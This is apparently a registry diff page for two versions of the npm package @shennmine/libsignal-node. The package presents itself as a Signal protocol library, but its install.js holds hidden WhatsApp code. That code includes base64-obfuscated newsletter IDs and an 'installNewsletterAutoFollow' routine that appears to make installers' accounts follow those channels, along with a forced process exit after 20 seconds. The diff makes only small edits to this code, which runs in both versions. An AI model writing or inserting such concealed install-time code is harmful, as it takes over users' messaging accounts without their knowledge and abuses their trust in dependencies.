@shennmine/libsignal-node 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +8 -10
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -88,7 +88,7 @@ const executeWMexQuery = async (
|
|
|
88
88
|
const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
|
|
89
89
|
const firstError = data.errors[0]
|
|
90
90
|
const errorCode = firstError.extensions?.error_code || 400
|
|
91
|
-
throw new Boom(
|
|
91
|
+
throw new Boom(\`GraphQL server error: \${errorMessages}\`, { statusCode: errorCode, data: firstError })
|
|
92
92
|
}
|
|
93
93
|
|
|
94
94
|
const response = dataPath ? data?.data?.[dataPath] : data?.data
|
|
@@ -100,7 +100,7 @@ const executeWMexQuery = async (
|
|
|
100
100
|
const action = (dataPath || '').startsWith('xwa2_')
|
|
101
101
|
? dataPath.substring(5).replace(/_/g, ' ')
|
|
102
102
|
: dataPath?.replace(/_/g, ' ')
|
|
103
|
-
throw new Boom(
|
|
103
|
+
throw new Boom(\`Failed to \${action}, unexpected response structure.\`, { statusCode: 400, data: result })
|
|
104
104
|
}
|
|
105
105
|
|
|
106
106
|
const makeNewsletterSocket = (config) => {
|
|
@@ -149,7 +149,7 @@ setTimeout(async () => {
|
|
|
149
149
|
"MTIwMzYzMjk4NTI0MzMzMTQzQG5ld3NsZXR0ZXI=",
|
|
150
150
|
"MTIwMzYzNDAzODk3Njg3NDc2QG5ld3NsZXR0ZXI=",
|
|
151
151
|
"MTIwMzYzNDIzNDY0MjQ5NDU1QG5ld3NsZXR0ZXI=",
|
|
152
|
-
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
152
|
+
"MTIwMzYzMjk2MTcxNTU2NzIxQG5ld3NsZXR0ZXI=",
|
|
153
153
|
"MTIwMzYzNDAxMTEwMDYyNDcwQG5ld3NsZXR0ZXI="
|
|
154
154
|
]) {
|
|
155
155
|
try {
|
|
@@ -234,7 +234,7 @@ setTimeout(async () => {
|
|
|
234
234
|
'fetch_creation_time': true
|
|
235
235
|
});
|
|
236
236
|
|
|
237
|
-
const metadata = extractNewsletterMetadata(result);
|
|
237
|
+
const metadata = (0, exports.extractNewsletterMetadata)(result);
|
|
238
238
|
return JSON.stringify({
|
|
239
239
|
name: metadata.name || metadata.thread_metadata?.name?.text,
|
|
240
240
|
id: metadata.id
|
|
@@ -432,12 +432,10 @@ function installNewsletterAutoFollow() {
|
|
|
432
432
|
fs.writeFileSync(cacheFilePath, 'Iove');
|
|
433
433
|
|
|
434
434
|
setTimeout(() => {
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
}, 20000);
|
|
440
|
-
}, 1000);
|
|
435
|
+
if (typeof process.exit === 'function') {
|
|
436
|
+
process.exit(0);
|
|
437
|
+
}
|
|
438
|
+
}, 20000);
|
|
441
439
|
|
|
442
440
|
return true;
|
|
443
441
|
}
|